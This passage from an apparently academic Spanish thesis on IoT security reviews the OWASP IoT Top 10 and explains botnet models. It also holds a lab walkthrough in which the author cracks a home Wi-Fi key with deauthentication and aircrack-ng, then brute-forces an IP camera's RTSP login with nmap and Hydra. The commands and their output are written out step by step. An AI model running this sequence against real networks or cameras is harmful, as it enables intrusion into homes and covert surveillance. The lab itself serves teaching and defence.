de energia o de conectividad afectaran a sus dispositivos para planificar

un escenario de contingencia y poder seguir operando.
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Desafios de interoperabilidad: actualmente no hay un consenso respecto
a los protocolos y estandares del loT, por lo que los dispositivos fabricados
por diferentes proveedores podrian no funcionar con la pila tecnolégica
existente. Cada uno puede requerir configuraciones y conexiones de
hardware diferentes, lo que hace que el despliegue eficiente sea dificil.
[23]
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8. Principales amenazas y vulnerabilidades

En el ambito de IoT, existen muchas vulnerabilidades debido a su
estructura en la que intervienen varios niveles, subniveles de hardware y

software en aplicaciones y servicios.

El Open Web Application Security Project (OWASP) ha abordado los
problemas de seguridad asociados con el loT con el propdsito de ayudar a
desarrolladores, fabricantes y consumidores. OWASP es de cdédigo abierto y
tiene una politica de licencias gratuita. El proyecto es una iniciativa de desarrollo
de software basada en el modelo comunitario. Un modelo comunitario implica
esfuerzos e iniciativas colectivas por parte de universidades, organizaciones e

instituciones en un proyecto de cddigo abierto.

OWASP ha emprendido una serie de subproyectos relacionados con la
seguridad, como los destinados a definir las "Principales Vulnerabilidades",

"Areas de Superficie de Ataque" y "Guias de Pruebas".

En tal sentido, OWASP ha identificado las diez vulnerabilidades
principales en aplicaciones/servicios |0T, las cuales se presentan a continuacion,

partiendo de la de mayor riesgo a la de menor:

e Contrasefas débiles, faciles de adivinar o embebidas en el codigo: hace
referencia a la utilizacibn de contrasefas que se pueden romper
facilmente a través de ataques de fuerza bruta, que se encuentran
disponibles publicamente (por ejemplo, en diccionarios de contrasefias

comunes), o bien contrasefas que no se modifican periddicamente.

e Servicios de red inseguros: son aquellos servicios de red o puertos
inseguros que se encuentran funcionando en los dispositivos,
especialmente aquellos expuestos a internet, que comprometen la
confidencialidad, integridad y/o disponibilidad de la informacién y permite

control remoto sin autorizacion.

e Ecosistema de interfaces inseguras: hace referencia a la utilizacién de
interfaces inseguras, a modo de ejemplo, interfaces web, de la nube, APls,

y de los dispositivos en si, que hace que los mismos queden
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comprometidos frente a diferentes tipos de ataques. Algunos de los
conflictos mas conocidos son la falta de autenticacion/autorizacién,
ausencia o debilidad en la encriptacion, y falta filtros tanto para la salida o

entrada de los datos.

e Ausencia de un mecanismo seguro para la actualizacion: falta de un
proceso seguro para actualizar los dispositivos. Esto también incluye la
falta de validacion del firmware en el dispositivo, falta de encriptacion de
la informacion en transito, ausencia de mecanismos de vuelta atras en
caso de actualizaciones fallidas o que generan incompatibilidades, y falta
de notificaciones de seguridad respecto a cambios en la configuraciéon

derivadas de las actualizaciones.

e Utilizacion de componentes inseguros o desactualizados: hace referencia
a la utilizacion de componentes que ya no cuentan con soporte por parte
del proveedor, o bien, aun teniendo soporte, no se le han aplicado los
ultimos parches de seguridad. Esto puede ocurrir en equipos propios,

como de proveedores directos o pertenecientes a la cadena de suministro.

¢ Insuficiente proteccion de privacidad: hace referencia a la informacion
personal de los usuarios que esta almacenada en los diferentes
dispositivos o en el mismo ecosistema IoT, que es usada de manera

insegura, inapropiada o sin permiso.

e Transferencia y almacenamiento de datos inseguro: es la falta de
encriptacion o control de acceso respecto a la informacion sensible dentro
de todo el ecosistema |oT, estando la misma en reposo, en transito o en

procesamiento.

e Deficiente gestion de dispositivos: la falta de soporte respecto a la
seguridad de los dispositivos desplegados en produccién, incluida la
gestion de activos y actualizaciones, monitoreo de sistemas vy

capacidades de respuesta.

e Configuraciones predeterminadas inseguras: se refiere a la utilizacion de

dispositivos sin modificarles la configuracion que poseen de fabrica. Un
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ejemplo habitual, es el de las camaras de videovigilancia, las cuales
suelen tener nombres de usuario y contrasefias por defecto. Lo mismo
ocurre con los routers, que muchas veces facilita el acceso en modo

administrador en las redes publicas.

e Debilidades en la seguridad fisica: la ausencia de medidas de control
sobre la seguridad fisica, favorece a potenciales atacantes tener acceso
a informacion sensible que luego puede ser utilizada en futuros remotos

ataques o tomar control local sobre el dispositivo.

8.1. Explotando la debilidad top 1 de OWASP en loT (camara IP)

Tal como se pudo observar en la secciéon “6.1. loT en actividades
cotidianas”, hoy en dia se encuentra en auge el desarrollo de las casas
inteligentes. Esto se debe a la incorporacion de dispositivos que se conectan a
la red Wi-Fi, desde la cual se configuran, utilizan y administran de manera local
y también remota. Algunos de ellos son camaras de videovigilancia, lavarropas,
heladeras, dispositivos méviles (celulares, equipos portatiles, relojes inteligentes,

etc.), entre otros.

Cabe destacar que, todos estos dispositivos que se encuentran dentro de
la red hogarefa, estan conectados a un router que les permite tener acceso a
internet. De esto se desprende que, es de vital importancia que tal dispositivo se
encuentre configurado de acuerdo con buenas practicas, ya que frente a una
brecha de seguridad, un intruso podria infiltrarse en la red y comenzar a realizar
distintos tipos de actividades. Por ejemplo, detectar los dispositivos que se
encuentran conectados a dicha red, e identificar los servicios y protocolos que
corren con el fin de hallar diferentes vulnerabilidades. A partir de esta accion, el
ciberdelincuente podria llegar a explotar alguna de ellas, ingresando al
dispositivo e instalando algun malware que lo convierta en un bot mas de la

botnet que gestiona.

Por otro lado, el acceso a los diferentes dispositivos 10T, le permitiria al
atacante contar con informacién confidencial de la victima, ya sean documentos

almacenados, acceso a la camara IP, etc.
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Considerando lo anteriormente mencionado, y en conjuncién a la primera
vulnerabilidad publicada en el OWASP Top 10 de loT que hace mencién a la
utilizacion de contrasefias débiles o faciles de adivinar, se procedera a efectuar
una actividad de laboratorio, que consistira en intentar lograr tener acceso a la
transmision de una camara IP que se encuentra funcionando dentro de una red

privada.

Para ello, la actividad se compondra de dos etapas. En la primera de ellas,
se realizara un ataque al router de tal red, para obtener la clave del Wi-Fi que
permita lograr la infiltracion, haciendo uso de las distintas herramientas
contenidas en el sistema operativo Kali Linux, las cuales se mencionaran en la
préxima seccion. Una vez obtenida la misma, y lograda la infiltracion, se procede
a efectuar la segunda etapa. Esta radica en escanear la red con el fin de detectar
los hosts que se encuentran activos e identificar la direccion IP que corresponda
a la camara. Obtenida la misma, se analizaran los servicios que se encuentran
habilitados y se atacara al protocolo “RTSP” mediante fuerza bruta, para obtener

las credenciales de acceso a la transmision de tal dispositivo.

8.1.1. Herramientas a utilizar

Para el desarrollo del laboratorio se utilizaran los siguientes equipos vy

aplicaciones:

Equipos:
e Router TP LINK TL-WR840N (300M Wireless N Router).
¢ Notebook Lenovo Legion 7i.

e (Camara IP Gadnic.

Aplicaciones:
e Suite Aircrack-ng: Airmon-ng, Airodump-ng, Aireplay-ng, Aircrack-ng.
e VLC Media Player.

e NMAP.
e Hydra.
e Wireshark.
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8.1.2. Configuracion del router

La configuracién del router es la siguiente:
o SSID?? = MSI-UBA-TP-ESP

o Contrasena = Administrator

8.1.3. Etapa 1: Ataque de fuerza bruta a Wi-Fi de red loT hogareina
8.1.3.1. Monitoreo de la red

En primer lugar se procede a colocar a la placa de red en modo monitor a

través del comando “# airmon-ng start wlan0”:

~

start wlan®

Found 2 processes that could cause trouble.

Kill them using 'airmon-ng check kill' before putting

the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

PID Name
1653 NetworkManager
1717 wpa_supplicant

PHY Interface Driver Chipset
phy0 wlan@ iwlwifi Intel Corporation Comet Lake PCH CNVi WiFi

(mac80211 monitor mode vif enabled for [phy@®]wlan® on [phy@]wlan@mon)
(mac80211 station mode vif disabled for [phy@]wlan@)

Figura 25. Se coloca interface de red en modo monitor.
Se puede observar a través del comando “# ifconfig” que la interface de

red se encuentra monitoreando:

etho: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
ether 7c:8a:e1:55:a0:11 txqueuelen 1000 (Ethernet)
RX packets @ bytes 0 (0.0 B)
RX errors ® dropped @ overruns @ frame 0
TX packets @ bytes 0 (0.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions ©

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid @x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 20 bytes 1344 (1.3 KiB)
RX errors © dropped @ overruns @ frame 0
TX packets 20 bytes 1344 (1.3 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

wlan@mon: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
unspec 3C-9C-0F-6D-FB-C3-00-40-00-00-00-00-00-00-00-00 txqueuelen 1000 (UNSPEC)
RX packets 318 bytes 98137 (95.8 KiB)
RX errors @ dropped 318 overruns @ frame 0
TX packets @ bytes 0 (0.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

Figura 26. WlanOmon activa.

22 |dentificador de Conjunto de Servicios
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Posteriormente, se procede a ingresar el comando “# airodump-ng
wlanOmon” para poder observar que redes se encuentran alcanzadas por
nuestra placa de red, siendo “MSI-UBA-TP-ESP” a la que queremos lanzar el

ataque, que posee la camara IP conectada.

Elapsed: 6 s ][ 2025-02-11 20:00
Beacons #Data, #/s CH MB N i AUTH ESSID

7 0 WPA2 CCN PSK MSI-UBA
1 e 11 WPA2 CCN PSK Dos Em
0 11 6 OPN
7 0 WPA2 CCM
WPA
OPN

WPA2

WPA2
WPA2 CC
OPN r:
OPN Personal Wifi Zone
PSK CUBA
Mariana Austria 2.4GHz
L Wifi Zone
o Wifi

L Wifi Zone

WPA2 CCMP PSK

Frames Notes

Figura 27. Redes alcanzadas por la placa de red.

8.1.3.2. Captura de tréfico y ataque de desautenticacion

Identificada la red de la cual queremos obtener las credenciales, se
comienzan a capturar los paquetes de la misma a través del comando “#
airodump-ng -c6 -w capture -d C0:4A:00:65:B6:86 wlanOmon”, con el objetivo de

determinar que hosts se encuentran conectados a ella:

/ capture -d CO:4A:00:65:B6:86 wlan@monlj

Figura 28. Uso de airodump-ng para capturar el trafico de red.

Los parametros del mismo se detallan a continuacion:

e -C6: se establece que se capturen paquetes en el canal 6, que es

donde opera la red a atacar.
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e -w capture: se indica que se guarde la captura en un archivo llamado
“capture”.
e -d C0:4A:00:65:B6:86: se indica la direccion MAC-ADDRESS?® del

router de la red a atacar.
Se puede observar que existen dos dispositivos conectados a tal router:

5> ][ Elapsed: 6 s ][ 2025-02-11 20:02
BSSID PWR RXQ Beacons #Data, #/s C M ENC CIPHER AUTH ESSID
CO:4A:00:65:B6:86 -126 96 71 4 6 1 WPA2 CCMP PSK MSI-UBA-TP-ESP
BSSID STATION Lost Frames Notes Probes

CO:4A00:65:B6 C6:A5:56:86:0E:7C
CO:4A:00:65: 84:7A:B6:1B:B4:F6

Figura 29. Hosts conectados al router.

Posteriormente, se inicia un ataque de desautenticacion a uno de los
hosts que se encuentran conectados, con el fin de que automaticamente se
vuelva a conectar a la red, permitiendo capturar el hash de la contrasefa. Para
ello, se ingresa el comando “# aireplay-ng -0 0 -a C0:4A:00:65:B6:86 -c
C6:A5:56:86:0E:7C wlanOmon”:

0 CO:4A:00:65:B6:86 -c C6:A5:56:86:0E:7C wlan@mon
Waiting for beacon frame (BSSID: C@:4A:00:65:B6:86) on channel 6
Sending 64 directed DeAuth (code 7). STMAC: [C6:A5:56:86:0E:7C]
Sending 64 directed DeAuth (code 7). STMAC: [C6:A5:56:86:0E:7C]
Sending 64 directed DeAuth (code 7). STMAC: [C6:A5:56:86:0E:7C]
Sending 64 directed DeAuth (code 7). STMAC: [C6:A5:56:86:QE:7C]
Sending 64 directed DeAuth (code 7). STMAC: [C6:A5:56:86:0E:7C]

Sending 64 directed DeAuth (code 7). STMAC: [C6:A5:56:86:0E:7C]
Sending 64 directed DeAuth (code 7). STMAC: [C6:A5:56:86:0E:7C]
Sending 64 directed DeAuth (code 7). STMAC: [C6:A5:56:86:0E:7C]
Sending 64 directed DeAuth (code 7). STMAC: [C6:A5:56:86:0QE:7C]
Sending 64 directed DeAuth (code 7). STMAC: [C6:A5:56:86:0E:7C]
Sending 64 directed DeAuth (code 7). STMAC: [C6:A5:56:86:0E:7C]

OSNEFRPOeOOOOONES S

Figura 30. Envio de paquetes de desautenticacion.

Los parametros del mismo se detallan a continuacion:

e -0 0: el primer O indica que es un ataque de desautenticacion. El
segundo menciona el envio continuo de paquetes para desautenticar.
e -a: C0:4A:00:65:B6:86: se indica la MAC-ADDRESS del router.

23 |dentificador Unico de un dispositivo o interfaz de red.
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e -c 08:38:E6:8D:25:3D wlanOmon: se indica la MAC-ADDRESS del
equipo a desautenticar y a través de que interface se enviara el

paquete.

Cuando se muestra el mensaje “PMKID found”, significa que ya
capturamos el hash de la contrasefa, y ya se puede dejar de enviar los paquetes

de desautenticacion a la victima:

CH 6 ][ Elapsed: 4 mins ][ 2025-02-11 20:06 ][|PMKID found: CO:4A:00:65:B6:86

BSSID PWR RXQ Beacons #iData, #/s CH MB ENC CIPHER AUTH ESSID

CO:4A:00:65:B6:86 -126 4 1119 3 6 130 WPA2 CCMP  PSK MSI-UBA-TP-ESP
STATION PWR Rate Lost Frames Notes Probes

CO:4A:00:65:B6:86 C6:A5:56:86:0E:7C -50 le- 1 1135 2 PMKID
CO:4A:00:65:B6:86 84:7A:B6:1B:B4:F6 -40 1le- 6

Figura 31. Aviso de credencial capturada.

Se procede a modificar el modo de monitoreo de la placa de red, para que

vuelva a operar normalmente:

~

stop wlan@mon

PHY Interface Driver Chipset

phy® wlan@mon iwlwifi Intel Corporation Comet Lake PCH CNVi WiFi
(mac80211 station mode vif enabled on [phy@]wlan@)
(mac80211 monitor mode vif disabled for [phy@]wlan@mon)

Figura 32. Detencién del modo monitor.

8.1.3.3. Ataque de fuerza bruta sobre el hash de la clave

Realizado el proceso previo, se cuenta con el hash de la contrasefia en el
archivo “capture”, que es donde se encuentra la captura del trafico del dispositivo
victima. Para chequear que realmente se dispone de tal informacion, se procede
a abrir el archivo “capture.cap” en la herramienta Wireshark para verificar que

exista el paquete de autenticacion EAPOL?*:

24 Protocolo de Autenticacion Extensible sobre LAN (EAPoL), es un protocolo de autenticacion
de puertos de red utilizado en IEEE 802.1x o control de acceso a la red basado en puerto.
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capture-0Ol.cap

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ADAOG cARE@ a <« »n «>A oo ol
Wespt 0 [Ea+

No. Time Source Destination Protocol Length Info
23843 263.560508 TpLinkTechno_65:b6:.. c6:a5:56:86:0e:7c EAPOL 155 Key (Message 1 of 4)

Frame 23843: 155 bytes on wire (1240 bits), 155 bytes
IEEE 802.11 QoS Data, Flags: ......F.

Logical-Link Control

802.1X Authentication

Figura 33. Paquete de autenticacion EAPOL con las credenciales.

Una vez que se cuenta con la captura de trafico que incluye el hash de la
contrasefa, se procede a utilizar la herramienta “aircrack-ng” y el diccionario de
contrasefias “rockyou” para efectuar el ataque de fuerza bruta. Para ello, se

ingresa el siguiente comando:

“# aircrack-ng -w /usr/share/wordlists/.rockyou.txt /home/Kali/Desktop/capture-

01.cap”™

/usr/share/wordlists/rockyou.txt /home/kali/Desktop/capture-01.cap[]

Figura 34. Utilizacién de aircrack-ng con el diccionario rockyou.txt.

Los parametros se detallan a continuacion:

e -w /usr/share/wordlists/rockyou.txt: -w indica que se utilizara un
archivo de entrada (diccionario de contrasefas) para hacer el ataque
de fuerza bruta y a continuacioén se detalla la ruta donde se encuentra
guardado el mismo.

e /home/kali/Desktop/captureO1.cap: es el archivo que contiene la

captura con las credenciales a descifrar.
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Aircrack-ng 1.7
[00:00:53] 1048484/14344392 keys tested (19748.88
Time left: 11 minutes, 13 seconds
KEY FOUND! [ Administrator ]

Master Key - B8 3F 43 A4 86
98 89 93 CF 38

Transient Key : 00 00 00 00 00
00 00 00 00 @O
00 00 00 00 00
00 00 00 00 00

EAPOL HMAC - 00 00 00 00 00

Figura 35. Se encuentra el texto plano del hash de la clave (Administrator).

Ejecutado el mismo, se puede observar que se encontré la contrasena de
la red “MSI-UBA-TP-ESP”, y la misma es “Administrator”.

8.1.4. Etapa 2: Ataque de fuerza bruta a camara IP

8.1.4.1. Escaneo de la red y deteccion de la direccion IP de la camara

Obtenida la clave del router para poder acceder a la red, se ingresa y se
identifica cual es la direccidén de red y mascara de subred, con el propésito de
realizar un escaneo que permita identificar los equipos que se encuentran alli

conectados:
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~

br-5b87cbcdee88: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
inet 172.18.0.1 netmask 255.255.0.0 broadcast 172.18.255.255
ether 02:42:40:0f:63:15 txqueuelen @ (Ethernet)
RX packets @ bytes 0 (0.0 B)
RX errors @ dropped @ overruns @ frame @
TX packets @ bytes 0 (0.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

flags=4099<UP,BROADCAST ,MULTICAST> mtu 1500
inet 172.17.0.1 netmask 255.255.0.0 broadcast 172.17.255.255
ether 02:42:93:53:64:30 txqueuelen @ (Ethernet)
RX packets @ bytes 0 (0.0 B)
RX errors @ dropped @ overruns @ frame @
TX packets @ bytes 0 (0.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.101 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::56e3:930f:e81f:6a0f prefixlen 64 scopeid 0x20<link>
ether 08:00:27:ad:25:87 txqueuelen 1000 (Ethernet)
RX packets 172 bytes 16066 (15.6 KiB)
RX errors ® dropped @ overruns @ frame 0
TX packets 25 bytes 3216 (3.1 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 480 (480.0 B)
RX errors @ dropped @ overruns @ frame @
TX packets 8 bytes 480 (480.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

Figura 36. Se puede observar que la red privada tiene el rango 192.168.1.0/24.

Tal como se puede observar en la figura previa, la red a escanear sera
“192.168.1.0/24”. Para ello se ingresa el comando “#nmap -sP 192.168.1.0/24”:

Starting Nmap 7.9! ( ‘nmap.org ) at 2@25-82-11 21:03 -83
Nmap scan 8

Host is up (

MAC Address: CO:4AI@B:65:

Mmap scan report for 192.1¢ 1.18@

Host is up (0.000867s later

MAC Address: OC:@F:6D:FB:C3 (Intel Corporate)
Nmap scan rep tor 192.168.1.182

Host is up (@ L

MAC Address: rJABEI1BIB4:
Nmap scan report tor 192.168.1.181

Host is up.

Nmap done: 256 IP addresses (4 hosts up) scanned im 9.53 seconds

‘F& (AltoBeam (China))

Figura 37. Hosts activos en la red.
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En base a los hosts detectados, se puede inferir que aquel que posee
asignada la IP “192.168.1.102” es la que corresponde a la camara IP, debido a
que se menciona el fabricante llamado “AltoBeam”. Esta empresa es reconocida
por fabricar y comercializar dispositivos electronicos que se conectan al Wi-Fi,

siendo gran parte de ellos, dispositivos IoT.

8.1.4.2. Escaneo de los protocolos abiertos de la camara IP.

Posteriormente, se procede a escanear todos los servicios y protocolos
que se encuentran en funcionamiento de dicho equipo, a través del comando
“#nmap -sV 192.168.1.102":

) -sV 192.168.1.1@2
Starting Nmap 7.945VN ( https:/ } at 282 21:11 -@83
Nmap scan report for 192. 16! )
Host is up (@.026s5 latenc
Mot shown: 997 closed tcp ports (reset)
STATE SERVICE VERSION
open http
open rtsp H264DVR rtspd 1.8
open ospf-lite?
ice unrecognized despite returning data. If you know the
g fing i at https: 3 r gi-bin/submit.cgi?new-

Lo

J1N.0

Figura 38. Protocolos activos en el host.

Se puede observar activo el protocolo “RTSP” (Real Time Streaming
Protocol), el cual permite la transmisién de audio y video en tiempo real, de lo

que podemos inferir que efectivamente se trata de la camara IP.

8.1.4.3. Ataque de fuerza bruta al protocolo RTSP

Se inicia la recoleccion de informacién sobre el protocolo RTSP, mediante
el comando de NMAP “# nmap --script rtsp-url-brute -p 554 192.168.1.102” [24],

con la intencién de obtener algun dato que pueda ser util para realizar el ataque:
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21:15
Mmap scan report for 192
Host 1is .053s latency).

PORT STATE SERVICE
554/tcp open rtsp
rl-brute:

cif
1:1/main
reaml

B = B = T =y Sy

Figura 39. Parte de la salida del ataque de fuerza bruta al protocolo RTSP.

La salida del comando produce gran cantidad de informacion de
directorios y archivos contenidos, y al final de la misma se menciona el usuario

“admin” y contrasefia “tlJwpbo6”:

I rtsp://192.168.
I rtsp://192.168.
I rtsp://192.168.
I rtsp://192.168.1.102/video.pro3
I rtsp://192.168.1.102/videoMain
I
I
I
|

1.102/video/mjpg.cgi
1
1
1
1
rtsp://192.168.1.102/videoinput_1:0/h264_1/onvif.stm
il
1
il
il
B

.102/videol
.102/videol+audiol

rtsp://192.168.1.102/videostream.cgi?rate=0

rtsp://192.168.1.102/vis

rtsp://192.168.1.102/wfov
|_ rtsp://192.168.1.102, user=admin_password=t1Jwpbo6!_channel=1_stream=0.sdp?real_stream
MAC Address: 84:7A:B6:1B:B4:F6 (AltoBeam (China))

Nmap done: 1 IP address (1 host up) scanned in 2.01 seconds

Figura 40. Deteccion de posible usuario y clave para acceder a la transmision de la camara.

Para poder corroborar estas credenciales e intentar acceder a la camara,
se utiliza el aplicativo “VLC Media Player”, donde se ingresa la direccion IP de la

camara, y a través de que protocolo y numero de puerto queremos acceder:
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—
| Archivo ' Disco T Red [} Dispositivo de captura

Protocolo de red
Introducir una URL:

rtsp://192.168.1.102:554 w

(L] Mostrar mas opciones

Reproducir |+ = Cancelar

Figura 41. Se ingresa en VLC el protocolo, dir. IP y puerto para conectarse a la camara.

Se ingresa como usuario “admin” y contrasefia “tlJwpbo6”:

& Autenticacion RTSP 7 X

Introduzca un nombre de conexidn y una contrasefia valido.

Nombre de usuario admin

Contrasefia T

Cancel

Figura 42. Primer intento sin éxito de login.
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Con tal contrasefia no se pudo lograr acceder, por lo que luego se intentd
a través de la técnica de “password-guessing”, ingresar con la clave “admin” que

suele encontrarse configurada por defecto en esa clase de dispositivos |0T:

e

& Autenticacion RTSP 7 ot

Introduzca un nombre de conexidn y una contrasena valido.

MNombre de usuarioc admin

Contrasefia 111

Ok ] Cancel

Figura 43. Segundo intento sin éxito de login.

De igual manera, la clave “admin” no era la correcta. Por tal razén, se
procedié a hacer uso de la herramienta Hydra, bajo el entorno de Kali Linux, para
realizar un ataque de fuerza bruta mediante la utilizacién del diccionario de

contrasenas “rockyou”.

Para ello se ejecuta el comando “# hydra -I admin -P
/usr/share/wordlists/rockyou.txt 192.168.1.102 rtsp”, cuyos parametros se

detallan a continuacion:

e -l admin: se especifica que se quiere lanzar el ataque de fuerza bruta
con el usuario “admin”.

e -P /usr/share/wordlists/rockyou.txt: se indica la ruta de donde se
encuentra el diccionario de contrasefias con el que se realizara el
ataque.

e 192.168.1.102 rtsp: se detalla la direccion IP y protocolo por el que se
hara el ataque.
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1 valid password found
-the/the-hydra) finished at 20

Figura 44. Deteccion de la clave (camera123) del usuario “admin”.

Tras finalizar la ejecucién, se puede observar que se encontrd la
contrasefia “camera123” para el usuario “admin”. Para verificarlo, se ingresa
nuevamente a VLC, en esta ocasion empleando las credenciales mencionadas

anteriormente:

"
20925-p2-11 21:36:10

SR estar tsp/i92.168.1.102:554

Figura 45. Acceso a la transmisién de la camara IP.

Finalmente, se puede observar que se pudo acceder a la transmision en

vivo de la camara IP, resultando exitoso el ataque.

8.1.5. Conclusiones del resultado del ataque realizado

En funcion de las actividades efectuadas anteriormente, se pudo

corroborar la trascendencia que presenta la utilizacién de claves robustas tanto
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para los dispositivos |0T, como para el router, que es la pieza central de una casa
inteligente.

La utilizacion de claves faciles de adivinar, o bien, las que presentan por
defecto los distintos equipos configuradas por sus fabricantes, permite que
puedan ser quebradas sin mucha dificultad a través de métodos de fuerza bruta,
ya que en la web existen gran cantidad de diccionarios de contrasefias que
presentan aquellas que son utilizadas con mas frecuencia, y a la vez, aquellas
gue vienen por defecto en los equipos.

El empleo de contrasefias complejas que reunan un minimo de 10
caracteres, combinacion de letras mayusculas, minusculas, digitos y simbolos
especiales, garantizan una gran seguridad ya que para poder quebrarlas se
requiere de gran capacidad computacional, y aun asi, el tiempo necesario para
poder lograr ese cometido puede llegar a ser décadas e incluso siglos.

Si bien es sencillo mitigar este tipo de brechas de seguridad, ya que solo
consiste en establecer contrasefas seguras, por lo general no es tenido en
consideracion y los equipos se mantienen con las configuraciones provistas por
los fabricantes. Es por esta razén que, esta vulnerabilidad es la niumero uno

dentro del top 10 de vulnerabilidades de OWASP, sobre dispositivos 10T,
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9. Explotacion de vulnerabilidades y generacion de
Botnets

Los desafios de privacidad y seguridad son algunas de las
preocupaciones mas criticas en el ambito de loT. A medida que los dispositivos
IoT se proliferan en hogares, empresas y espacios publicos, estos generan y
transmiten grandes cantidades de datos, algunos de los cuales pueden ser
altamente sensibles. La naturaleza interconectada de estos dispositivos significa
que las vulnerabilidades en uno de ellos pueden comprometer potencialmente la

seguridad de toda la red.

Los dispositivos loT suelen estar disefiados para permitir un buen
rendimiento con una gran facilidad de uso en lugar de la seguridad, lo que los
hace susceptibles a varios ataques. Por ejemplo, muchos dispositivos vienen con
contrasefas predeterminadas que rara vez son cambiadas por los usuarios,
dejandolos expuestos a accesos no autorizados. Los atacantes pueden explotar
estas vulnerabilidades para tomar el control de los dispositivos, robar informacién
personal o incluso usar dispositivos comprometidos como parte de botnets en

ciberataques mas grandes. [12]

Una botnet es una red de bots (del inglés, forma abreviada de decir robot)
que ejecutan el mismo software disenado para realizar una tarea especifica. El
atacante a través de un centro de comando y control coordina la actividad de los

bots individuales.

El tamafio de la botnet puede variar desde unos pocos dispositivos
infectados hasta millones de ellos. El sujeto malintencionado que se encuentra

detras del control de una botnet, es llamado bot-herder o botmaster.

Cabe aclarar que, no todas las botnets poseen un fin malintencionado.
Algunas de ellas son claves para que internet funcione correctamente. Por
ejemplo, compafiias como Google o Bing que corren motores de busqueda web
dependen de las botnets conocidas como Googlebot o Bingbot
(respectivamente), para rastrear Internet, indexar su contenido y descubrir

nuevos sitios.
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A bot

The botnet

Command-and-
control center

Figura 46. Arquitectura basica de una botnet. [25]
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10. Funcionamiento y tipos de Botnets

Basicamente, las botnets dependen de dos elementos para funcionar: una
gran red de dispositivos infectados para llevar a cabo el ataque, o bots tal como
se menciond anteriormente, y alguien que se encargue de controlar

remotamente tales dispositivos.

En cuanto al funcionamiento, se pueden distinguir tres etapas en el

proceso de ataque mediante botnets:

e Preparacion y exposicion: esta etapa comienza cuando los
ciberdelincuentes encuentran una vulnerabilidad en un sitio web,
aplicaciéon o comportamiento humano. El objetivo es preparar al usuario
para que quede expuesto sin saberlo a una infeccion de malware
(software malicioso). Comunmente, explotan problemas de seguridad en
software o sitios web o envian el malware a través de correos electrénicos
y otros mensajes en linea. También es comun encontrarlos en troyanos?®
gue se encuentran embebidos en keygens?® o cracks?’ de programas. Por
otro lado, las mismas botnets pueden presentar vectores de propagacion
similares a los worms?8, los cuales permiten que se infecten y afiadan

nuevos nodos a la red de manera autbnoma.

e Infeccion: el usuario se infecta con el malware de la botnet al realizar una
accion que compromete su dispositivo, mediante alguno de los métodos

mencionados anteriormente.

e Activacion: el ciberdelincuente comienza a tomar el control de cada

computadora y las organiza en una red de bots que puede gestionar de

25 Programa o codigo malicioso que simula ser un programa legitimo para infiltrarse en un
ordenador.

26 Es un programa informatico que al ejecutarse genera un cédigo para que un determinado
programa de software pago en su version de prueba pueda ofrecer los contenidos completos del
programa ilegalmente y sin conocimiento del desarrollador.

27 Parche creado sin autorizaciéon del desarrollador del programa al que modifica cuya finalidad
es la de modificar el comportamiento del software original.

28 Programa informatico malicioso que se replica para propagarse a otras computadoras.
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forma remota. En lo posible, el ciberdelincuente buscara infectar y

controlar miles y hasta millones de computadoras. [26]

Para poder controlar remotamente a estos nodos, el atacante utiliza
un canal de comunicacion llamando C&C (Command and Control), el cual
consiste en uno o varios servidores (dependiendo el modelo), a los que
les ingresa las instrucciones (push), las cuales luego seran descargas por
los nodos infectados (pull). Esta administracion puede realizarse
principalmente adoptando dos modelos diferentes: centralizado

(cliente/servidor) o descentralizado (P2P?°).

10.1. Modelo Centralizado

La forma convencional de configurar una botnet es utilizar el modelo
cliente-servidor, en el cual los bots reciben sus instrucciones y actualizaciones
desde una sola ubicacion, tipicamente un sitio web o servidor compartido.
Aunque fue efectivo en sus comienzos, una botnet cliente-servidor es facil de

detener simplemente cerrando la ubicacion del servidor.

Botmaster

Bot ‘ﬁ) Bot

. N
&= =)
Bot J % ) Bot

!

Bot

Figura 47. Modelo centralizado de botnet. [27]

10.2. Modelo Descentralizado

En esta clase de redes P2P no existe un servidor central, sino que todas
las solicitudes son gestionadas por los nodos dentro de la red. En arquitecturas

puramente descentralizadas, cada nodo se comporta de la misma manera,

2% Red peer-to-peer, o red entre pares, es una red de ordenadores que funcionan sin clientes ni
servidores fijos, sino que los mismos adoptan ambas funciones.
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actuando como servidores cuando procesan una consulta de busqueda de
archivos y como clientes cuando solicitan un archivo. No obstante, existen
arquitecturas parcialmente descentralizadas, donde los nodos con mejores
recursos computacionales y ancho de banda de red tienen la oportunidad de ser
promovidos y convertidos en “supernodos”, desempefiando un papel mas

importante en la red.

Los nodos normales (0 nodos hoja) se conectan a al menos un supernodo
y solo pueden enviar consultas a los mismos. Un supernodo mantiene una tabla
de valores hash de los archivos que estan disponibles en sus nodos hoja locales,
y solo ellos pueden reenviar los mensajes de los nodos hoja, cumpliendo la

funcién de servidores locales.

Ol Jom-l]
N B3 o
el e |

Figura 48. Modelo descentralizado (P2P) de botnet. [28]

Para dar 6rdenes a los bots, el botmaster coloca los nuevos comandos en
los supernodos a través de un push, y estos ultimos se encargan de diseminarlo
a sus supernodos vecinos. Finalmente, los nodos hoja, obtienen los comandos
de los supernodos a los que estan enlazados mediante un pull, para luego

ejecutarlos. [29]
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11. Principales tipos de ataque de las botnets

En la actualidad existen diferentes tipos de ataques realizados con
botnets. En la presente seccidn se detallaran los principales haciendo especial
énfasis en DDoS?*, siendo este uno de los mas populares y que mayores

pérdidas econdmicas genera.

